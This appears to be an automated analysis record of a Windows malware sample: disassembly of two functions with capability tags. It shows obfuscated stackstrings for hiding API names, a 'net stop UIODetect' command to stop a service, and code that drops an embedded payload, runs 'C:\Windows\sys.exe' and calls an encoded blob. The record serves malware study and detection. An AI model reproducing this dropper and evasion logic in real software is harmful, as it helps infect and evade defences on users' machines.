Function at 0x615a00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x6912e0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
nop
xor edi, edi
cmp esi, edi
je 0x615b17
cmp dword [esi + 0x10], edi
je 0x615a33
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov edx, dword [ecx + 0x28]
push edi
push edi
push eax
add edx, eax
call edx
mov dword [esi + 0x10], edi
cmp dword [esi + 8], edi
je 0x615ad9
push ebx
cmp dword [esi + 0xc], edi
jle 0x615a67
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x615a50
mov eax, dword [esi + 8]
cmp dword [eax + edi*4], 0xffffffff
lea eax, [eax + edi*4]
je 0x615a61
mov ecx, dword [eax]
push ecx
call ebx
inc edi
cmp edi, dword [esi + 0xc]
jl 0x615a50
mov edi, dword [esi + 8]
push 0x66c1bc
push 0x66c1c8
mov dword [ebp - 0x14], 0x4e52454b
mov dword [ebp - 0x10], 0x32334c45
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [ebp - 0x24]
mov ebx, eax
push edx
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x24], 0x50746547
mov dword [ebp - 0x20], 0x65636f72
mov dword [ebp - 0x1c], 0x65487373
mov word [ebp - 0x18], 0x7061
mov byte [ebp - 0x16], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push 0
call eax
push eax
call ebx
pop ebx
mov eax, dword [esi + 4]
test eax, eax
je 0x615aee
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x66c214
push 0x66c220
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x615b17
push esi
push 0
push eax
call edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.005e33b0
mov esp, ebp
pop ebp
ret

Function at 0x616010
Capabilities:
Create process on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.net_stop_UIODetect
call edi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push 0x66c244
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x616049
push 0
lea eax, [ebp - 4]
push eax
push 0xdfc00
push 0x692878
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x616066
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x61607a
push 0
push 0x66c258
call edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push str.C:Windows_sys.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.00615390
call fcn.00615d70
mov ebx, eax
test ebx, ebx
je 0x6160bd
call fcn.00615f20
test eax, eax
jne 0x6160c6
mov esi, ebx
call fcn.00615a00
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
sub esp, 0x474
mov edi, esp
mov ecx, 0x11d
mov esi, str.tbW0LS50LS1uNC0uqY
rep movsd dword es:[edi], dword [esi]
call eax
mov esi, ebx
call fcn.00615a00
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]